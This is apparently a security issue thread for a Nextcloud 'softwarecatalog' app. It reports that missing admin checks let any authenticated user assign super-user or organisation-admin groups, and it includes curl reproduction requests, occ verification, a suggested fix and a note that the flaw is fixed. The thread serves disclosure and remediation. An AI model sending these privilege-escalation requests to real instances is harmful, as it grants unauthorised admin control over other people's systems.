[CRITICAL] C2: Any user can grant super-user/admin status to any group

[rubenvdlinde]

Severity: CRITICAL

Location: lib/Controller/SettingsController.php lines 2399–2435 (setOrganizationAdminGroups, setSuperUserGroups, setGenericUserGroups)

Description:
All three group-assignment endpoints are annotated @NoAdminRequired with no further authorisation check. Any authenticated user can promote arbitrary Nextcloud groups to super-user or organisation-admin status.

Scenario:

POST /api/settings/user-groups/super-user
{"groups":["users"]}

Sent as any non-admin user → the entire users group is now marked as super-users.

Suggested fix:

• Drop @NoAdminRequired from all three endpoints.
• Add a service-layer isAdmin() guard before persisting group changes.

---

Source: deep team-reviewer pass 2026-05-27

[rubenvdlinde]

Runtime verification: CONFIRMED CRITICAL

Verdict: CONFIRMED — any authenticated user can rewrite the app's super-user / organisation-admin / generic-user group designators in IAppConfig.

Reproduction

Pre-conditions: non-admin user swcverify-attacker (groups: []).

Step 1 — attacker writes super-user groups:

curl -X POST -u "swcverify-attacker:AttackerPass1234!" \
  -H "Content-Type: application/json" -H "OCS-APIRequest: true" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/settings/user-groups/super-user" \
  -d '{"groups":["admin"]}'

Response: 200 OK, {"success":true,"message":"Super user groups updated successfully","groups":["admin"]}. X-User-Id: swcverify-attacker.

Step 2 — same for organisation-admin groups:

curl -X POST -u "swcverify-attacker:AttackerPass1234!" \
  -H "Content-Type: application/json" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/settings/user-groups/organization-admin" \
  -d '{"groups":["admin"]}'

Response: 200 OK, {"success":true,"message":"Organization admin groups updated successfully","groups":["admin"]}.

Step 3 — persistence check via occ:

docker exec nextcloud php occ config:app:get softwarecatalog super_user_groups
→ ["admin"]
docker exec nextcloud php occ config:app:get softwarecatalog organization_admin_groups
→ ["admin"]

Confirmed: the values were persisted to oc_appconfig for softwarecatalog. An attacker can replace the existing designator list with one that contains their own NC group, instantly granting their account super-user / org-admin status in any downstream authorisation gate that consults these settings.

Code evidence

lib/Controller/SettingsController.php:2160 (setGenericUserGroups), :2238 (setOrganizationAdminGroups), :2316 (setSuperUserGroups) — all three are @NoAdminRequired, no admin check in controller. Service-layer lib/Service/SettingsService.php:5176-5290 only does name-validity validation; no isAdmin() guard. Confirmed by tracing the call path end-to-end.

Suggested fix (matches issue)

Drop @NoAdminRequired on all three SET methods (the GET endpoints can stay open for the frontend's role-display logic, OR also be locked down — current admin-only is the conservative choice). Add a defence-in-depth $this->userSession->getUser() admin check in the service. Safe to ship.

Test cleanup

Restored to ["] via occ config:app:set softwarecatalog super_user_groups --value='[]'.

---

Verified runtime 2026-05-27 on local NC docker (custom_apps/softwarecatalog 0.2.0). Test users cleaned up.

[rubenvdlinde]

Fixed in #353 (squash-merged to development). All auth gates applied; see PR for per-issue detail.